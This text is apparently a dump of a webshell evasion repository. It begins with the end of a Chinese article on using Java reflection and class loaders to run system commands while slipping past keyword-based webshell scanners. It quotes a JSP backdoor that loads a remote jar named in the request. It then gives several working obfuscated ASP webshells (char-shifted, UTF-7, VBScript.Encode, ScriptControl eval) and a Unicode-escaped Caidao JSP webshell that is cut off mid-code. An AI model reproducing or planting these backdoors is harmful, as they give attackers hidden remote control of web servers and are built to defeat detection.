main(String[] args) throws Exception{ 377 | String op = ""; 378 | 379 | String dir = "."; 380 | String[] cmdarray = new String[]{"ping", "127.0.0.1"}; 381 | Map environment = null; 382 | Redirect[] redirects = null; 383 | boolean redirectErrorStream = true; 384 | 385 | Class clazz = Class.forName("java.lang.ProcessImpl"); 386 | Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); 387 | method.setAccessible(true); 388 | Process e = (Process) method.invoke(null, cmdarray, environment, dir, redirects, redirectErrorStream); 389 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A"); 390 | op = sc.hasNext() ? sc.next() : op; 391 | sc.close(); 392 | System.out.print(op); 393 | } 394 | } 395 | ``` 396 | 397 | 上面代码中虽然成功通过反射 java.lang.ProcessImpl 类的start方法执行了系统命令,但引入了"ProcessBuilder" 关键字,所以只作为一种技术可行性来看待。在jdk6及以下版本,ProcessImpl start函数只需四个参数,可以避免引入"ProcessBuilder"关键字,通过反射执行系统命令。 398 | 399 | ![ProcessImpl jdk6 start函数构造](ProcessImpl-jdk6.png) 400 | 401 | 总之,想要通过Java反射机制来执行系统命令的话,一般就是通过**反射Runtime类和ProcessBuilder类**,调用相关系统命令执行方法来完成。 402 | 403 | 其实到这里,利用Java的反射机制来绕过查杀软件检测已经讲的差不多了。但是查资料过程中,发现下面这段比较老的利用Java反射技术的后门代码: 404 | 405 | ```jsp 406 | <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%> 407 | ``` 408 | 409 | 利用起来像这样 410 | 411 | `http://target.com/reflect.jsp?u=http://somesite.com/some.jar&password=A ` 412 | 413 | 仔细看会发现:代码中的Class.forName()方法用了三个参数,而我们上面部分讲的代码中Class.forName()方法只用了一个参数。查阅API文档,发现Class.forName()方法是有两种形式,然后就注意到了Java类加载器ClassLoader和类加载机制。 414 | 415 | ![Class.forName](forName.png) 416 | 417 | ### 0x05:使用Java类加载机制绕过检测 418 | 419 | Java类加载机制简单来说就是JVM查找到类的所在位置,并将找到的Java类的字节码装入内存,生成对应的Class对象。其中有几个重要的概念如下: 420 | 421 | #### Class对象 422 | 423 | > 一个.java源码文件经过编译生成.class字节码文件,可以认为是Java编译器创建了一个可以被JVM识别并加载的Class对象。这个Class对象就可以看成是.class文件或者说Class对象被保存在了.class文件中。 424 | 425 | #### Java自带的三个类加载器 426 | 427 | - Bootstrap Classloder 428 | - Extention ClassLoader 429 | - App ClassLoader 430 | 431 | 上一级称为下一级的父加载器,加载的先后顺序依次是: 432 | 433 | `Bootstrap Classloder => Extention ClassLoader => App ClassLoader ` 434 | 435 | 对应的System.getProperty路径查找顺序: 436 | 437 | `sun.boot.class.path => java.ext.dirs => java.class.path` 438 | 439 | 借用别人的一张图(**双亲委托**)简单说明类加载的过程: 440 | 441 | > 一个类加载器查找class和resource时,首先判断这个class是不是已经加载成功;如果没有的话它并不是自己进行查找,而是先委托给父加载器,然后递归委托,直到Bootstrap ClassLoader加载器;如果Bootstrap classloader找到了,直接返回class和resource;如果没有找到,则一级一级返回,最后才是自己去查找。 442 | 443 | ![类加载](ClassLoader.png) 444 | 445 | 446 | 447 | 原理看起来比较复杂,实现起来其实比较简单,即将获得Class对象的方式由 448 | 449 | `Class rt= Class.forName("java.lang.Runtime");` 改成 450 | 451 | `Class rt = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");`的形式即可,反射ProcessBuilder同理。 452 | 453 | 其它一些特性如要深入了解请去查看具体代码实现,其它内容不再展开。 454 | 455 | ### 0x06:获得Class对象的四种方法 456 | 457 | 在以上文章中,其实我们大部分篇幅都是围绕着Java语言中获得Class对象的四种方法,构造绕过检测软件的执行系统命令的后门的。Java语言中获得Class对象的主要有以下四种方法: 458 | 459 | ##### 原生类.class 460 | 461 | 即通过类、枚举、接口、注解或数组类型的原生类型名称.class,来获得Class对象。 462 | 463 | ```java 464 | Class c = java.lang.Runtime.class; 465 | ``` 466 | 467 | ##### 对象.getClass() 468 | 469 | ```java 470 | java.lang.Runtime obj = java.lang.Runtime.getRuntime(); 471 | Class c = obj.getClass(); 472 | ``` 473 | 474 | ##### 使用 Class.forName() 475 | 476 | ```java 477 | Class c= Class.forName("java.lang.Runtime"); 478 | 或 479 | Class c = Class.forName("java.lang.Runtime",false,ClassLoader.getSystemClassLoader()); 480 | ``` 481 | 482 | ##### 使用 ClassLoader 483 | 484 | ```java 485 | Class c = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime"); 486 | ``` 487 | 488 | 第一种和第二种方式显然无法规避Runtime等关键字获得Class对象;第三种使用Java反射机制和第四种使用Java类加载机制,都可以从全限定的类名字符串中获得Class对象,编码或变换下字符串的表现形式就可以规避Runtime等关键字,从而达到绕过软件检测的效果。 489 | 490 | ### 0x07:后记 491 | 492 | Java语言不像PHP等语言那么灵活,本文探讨的绕过检测的方法,尽量使用较少的代码量和文件,达到了**规避Runtime、ProcessBuilder等关键字**执行系统命令的效果,但其实在规避命令执行关键字的同时**引入了Java反射和类加载机制相关的关键词**。 493 | 494 | 但是针对检测结果来说,用文中给的ProcessBuilder后门、0x04和0x05中给的新型后门,市面上一些仅利用脚本内容检测Webshell的软件和平台,都是检测不到异常的,其实这也从侧面印证了他们**仅是通过关键词的匹配和已有恶意脚本库的比对**等一些较为简单的方式来进行JSP相关的Webshell检测的。 495 | 496 | 对于专业的查杀软件和平台,仅仅通过文章中关键字来做后门的检测和判断的标准,一棒子打死,是不能兼顾准确率和查杀效果的。但对于个人来说,只需要全局搜索代码中的"**.invoke(**"关键词,人工简单看下代码,就能判断是不是Java反射后门和Java类加载机制后门了。 497 | 498 | ### 参考链接: 499 | 500 | http://tutorials.jenkov.com/java-reflection/index.html 501 | 502 | https://docs.oracle.com/javase/7/docs/api/index.html?java/lang/reflect/package-summary.html 503 | 504 | https://blog.csdn.net/briblue/article/details/54973413 505 | 506 | https://github.com/JustinSDK/JavaSE6Tutorial/blob/master/docs/CH16.md 507 | 508 | https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading 509 | 510 | http://p2j.cn/?p=1627 511 | 512 | https://segmentfault.com/a/1190000004706888 513 | 514 | https://blog.csdn.net/zhangjg_blog/article/details/20380971 515 | 516 | https://segmentfault.com/a/1190000010162647?utm_source=tuicool&utm_medium=referral 517 | 518 | https://stackoverflow.com/questions/6911427/is-it-possible-to-invoke-private-attributes-or-methods-via-reflection -------------------------------------------------------------------------------- /webshell/asp/bypass-all.asp: -------------------------------------------------------------------------------- 1 | <% 2 | eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107")) 3 | 4 | Function fun(Str): 5 | Str = Split(Str,"%") 6 | For x=1 To Ubound(Str) 7 | fun=fun&Chr(Str(x)-66) 8 | Next 9 | End Function 10 | %> 11 | -------------------------------------------------------------------------------- /webshell/asp/create-activex-object.asp: -------------------------------------------------------------------------------- 1 | <%@ language = VBscript %> 2 | <% 3 | SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1") 4 | LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT" 5 | LandGrey.AddObject "REsponse", Response 6 | LandGrey.AddObject "r"&chr(101)&"quEst", requesT 7 | LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn 8 | LandGrey.AddObject "serv"&chr(101)&"r", serVer 9 | LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application 10 | LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")") 11 | %> 12 | -------------------------------------------------------------------------------- /webshell/asp/use-html-annotator-bypass.asp: -------------------------------------------------------------------------------- 1 | <% 2 | 3 | execute request("LandGrey") 4 | %> 5 | -------------------------------------------------------------------------------- /webshell/asp/utf7-bypass.asp: -------------------------------------------------------------------------------- 1 | <%@codepage=65000%> 2 | <% 3 | +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk- 4 | %> -------------------------------------------------------------------------------- /webshell/asp/vbencode-bypass.asp: -------------------------------------------------------------------------------- 1 | <%@ LANGUAGE = "VBScript.Encode"%> 2 | <%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%> -------------------------------------------------------------------------------- /webshell/jsp/CaiDao-Webshell-Password-LandGrey.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.io.*,java.net.*,java.sql.*,java.text.*"%> 2 | <%! 3 | \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0050\u0077\u0064\u003d\u0022\u004c\u0061\u006e\u0064\u0047\u0072\u0065\u0079\u0022\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0045\u0043\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0022\u0049\u0053\u004f\u002d\u0038\u0038\u0035\u0039\u002d\u0031\u0022\u0029\u002c\u0063\u0029\u003b\u007d\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0047\u0043\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0078\u003d\u0073\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0078\u005b\u0030\u005d\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0044\u0072\u0069\u0076\u0065\u0072\u004d\u0061\u006e\u0061\u0067\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0028\u0078\u005b\u0031\u005d\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u0029\u003b\u0069\u0066\u0028\u0078\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003e\u0032\u0029\u007b\u0063\u002e\u0073\u0065\u0074\u0043\u0061\u0074\u0061\u006c\u006f\u0067\u0028\u0078\u005b\u0032\u005d\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u0029\u003b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0041\u0041\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0072\u005b\u005d\u003d\u0046\u0069\u006c\u0065\u002e\u006c\u0069\u0073\u0074\u0052\u006f\u006f\u0074\u0073\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0030\u003b\u0069\u003c\u0072\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0072\u005b\u0069\u005d\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0032\u0029\u0029\u003b\u007d\u007d\u0076\u006f\u0069\u0064\u0020\u0042\u0042\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u006f\u0046\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u002c\u006c\u005b\u005d\u003d\u006f\u0046\u002e\u006c\u0069\u0073\u0074\u0046\u0069\u006c\u0065\u0073\u0028\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0054\u002c\u0020\u0073\u0051\u002c\u0073\u0046\u003d\u0022\u0022\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0020\u0064\u0074\u003b\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0020\u0066\u006d\u003d\u006e\u0065\u0077\u0020\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0028\u0022\u0079\u0079\u0079\u0079\u002d\u004d\u004d\u002d\u0064\u0064\u0020\u0048\u0048\u003a\u006d\u006d\u003a\u0073\u0073\u0022\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0030\u003b\u0069\u003c\u006c\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0069\u002b\u002b\u0029\u007b\u0064\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0028\u006c\u005b\u0069\u005d\u002e\u006c\u0061\u0073\u0074\u004d\u006f\u0064\u0069\u0066\u0069\u0065\u0064\u0028\u0029\u0029\u003b\u0073\u0054\u003d\u0066\u006d\u002e\u0066\u006f\u0072\u006d\u0061\u0074\u0028\u0064\u0074\u0029\u003b\u0073\u0051\u003d\u006c\u005b\u0069\u005d\u002e\u0063\u0061\u006e\u0052\u0065\u0061\u0064\u0028\u0029\u003f\u0022\u0052\u0022\u003a\u0022\u0022\u003b\u0073\u0051\u002b\u003d\u006c\u005b\u0069\u005d\u002e\u0063\u0061\u006e\u0057\u0072\u0069\u0074\u0065\u0028\u0029\u003f\u0022\u0020\u0057\u0022\u003a\u0022\u0022\u003b\u0069\u0066\u0028\u006c\u005b\u0069\u005d\u002e\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006f\u0072\u0079\u0028\u0029\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u006c\u005b\u0069\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u002b\u0022\u002f\u005c\u0074\u0022\u002b\u0073\u0054\u002b\u0022\u005c\u0074\u0022\u002b\u006c\u005b\u0069\u005d\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u002b\u0022\u005c\u0074\u0022\u002b\u0073\u0051\u002b\u0022\u005c\u006e\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0073\u0046\u002b\u003d\u006c\u005b\u0069\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u002b\u0022\u005c\u0074\u0022\u002b\u0073\u0054\u002b\u0022\u005c\u0074\u0022\u002b\u006c\u005b\u0069\u005d\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u002b\u0022\u005c\u0074\u0022\u002b\u0073\u0051\u002b\u0022\u005c\u006e\u0022\u003b\u007d\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0073\u0046\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0045\u0045\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0069\u0066\u0028\u0066\u002e\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006f\u0072\u0079\u0028\u0029\u0029\u007b\u0046\u0069\u006c\u0065\u0020\u0078\u005b\u005d\u003d\u0066\u002e\u006c\u0069\u0073\u0074\u0046\u0069\u006c\u0065\u0073\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u006b\u003d\u0030\u003b\u006b\u003c\u0078\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u006b\u002b\u002b\u0029\u007b\u0069\u0066\u0028\u0021\u0078\u005b\u006b\u005d\u002e\u0064\u0065\u006c\u0065\u0074\u0065\u0028\u0029\u0029\u007b\u0045\u0045\u0028\u0078\u005b\u006b\u005d\u002e\u0067\u0065\u0074\u0050\u0061\u0074\u0068\u0028\u0029\u0029\u003b\u007d\u007d\u007d\u0066\u002e\u0064\u0065\u006c\u0065\u0074\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0046\u0046\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0048\u0074\u0074\u0070\u0053\u0065\u0072\u0076\u006c\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0020\u0072\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0069\u006e\u0074\u0020\u006e\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u003d\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0035\u0031\u0032\u005d\u003b\u0072\u002e\u0072\u0065\u0073\u0065\u0074\u0028\u0029\u003b\u0053\u0065\u0072\u0076\u006c\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u0072\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0073\u0029\u0029\u003b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0030\u002c\u0033\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006e\u003d\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u002c\u0030\u002c\u0035\u0031\u0032\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u002c\u0030\u002c\u006e\u0029\u003b\u007d\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0030\u002c\u0033\u0029\u003b\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0069\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0047\u0047\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0068\u003d\u0022\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0041\u0042\u0043\u0044\u0045\u0046\u0022\u003b\u0069\u006e\u0074\u0020\u006e\u003b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0066\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u004e\u0065\u0077\u0046\u0069\u006c\u0065\u0028\u0029\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0066\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0030\u003b\u0069\u003c\u0064\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u003b\u0069\u002b\u003d\u0032\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0028\u0068\u002e\u0069\u006e\u0064\u0065\u0078\u004f\u0066\u0028\u0064\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0069\u0029\u0029\u003c\u003c\u0034\u007c\u0068\u002e\u0069\u006e\u0064\u0065\u0078\u004f\u0066\u0028\u0064\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0069\u002b\u0031\u0029\u0029\u0029\u0029\u003b\u007d\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0048\u0048\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0073\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u002c\u0064\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0064\u0029\u003b\u0069\u0066\u0028\u0073\u0066\u002e\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006f\u0072\u0079\u0028\u0029\u0029\u007b\u0069\u0066\u0028\u0021\u0064\u0066\u002e\u0065\u0078\u0069\u0073\u0074\u0073\u0028\u0029\u0029\u007b\u0064\u0066\u002e\u006d\u006b\u0064\u0069\u0072\u0028\u0029\u003b\u007d\u0046\u0069\u006c\u0065\u0020\u007a\u005b\u005d\u003d\u0073\u0066\u002e\u006c\u0069\u0073\u0074\u0046\u0069\u006c\u0065\u0073\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u006a\u003d\u0030\u003b\u006a\u003c\u007a\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u006a\u002b\u002b\u0029\u007b\u0048\u0048\u0028\u0073\u002b\u0022\u002f\u0022\u002b\u007a\u005b\u006a\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u002c\u0064\u002b\u0022\u002f\u0022\u002b\u007a\u005b\u006a\u005d\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u0029\u003b\u007d\u007d\u0065\u006c\u0073\u0065\u007b\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0073\u0066\u0029\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0064\u0066\u0029\u003b\u0069\u006e\u0074\u0020\u006e\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u003d\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0035\u0031\u0032\u005d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006e\u003d\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u002c\u0030\u002c\u0035\u0031\u0032\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u002c\u0030\u002c\u006e\u0029\u003b\u007d\u0069\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u007d\u0076\u006f\u0069\u0064\u0020\u0049\u0049\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0073\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u002c\u0064\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0064\u0029\u003b\u0073\u0066\u002e\u0072\u0065\u006e\u0061\u006d\u0065\u0054\u006f\u0028\u0064\u0066\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004a\u004a\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0066\u002e\u006d\u006b\u0064\u0069\u0072\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004b\u004b\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0074\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0073\u0029\u003b\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0020\u0066\u006d\u003d\u006e\u0065\u0077\u0020\u0053\u0069\u006d\u0070\u006c\u0065\u0044\u0061\u0074\u0065\u0046\u006f\u0072\u006d\u0061\u0074\u0028\u0022\u0079\u0079\u0079\u0079\u002d\u004d\u004d\u002d\u0064\u0064\u0020\u0048\u0048\u003a\u006d\u006d\u003a\u0073\u0073\u0022\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0020\u0064\u0074\u003d\u0066\u006d\u002e\u0070\u0061\u0072\u0073\u0065\u0028\u0074\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u004c\u0061\u0073\u0074\u004d\u006f\u0064\u0069\u0066\u0069\u0065\u0064\u0028\u0064\u0074\u002e\u0067\u0065\u0074\u0054\u0069\u006d\u0065\u0028\u0029\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004c\u004c\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0055\u0052\u004c\u0020\u0075\u003d\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0028\u0073\u0029\u003b\u0069\u006e\u0074\u0020\u006e\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\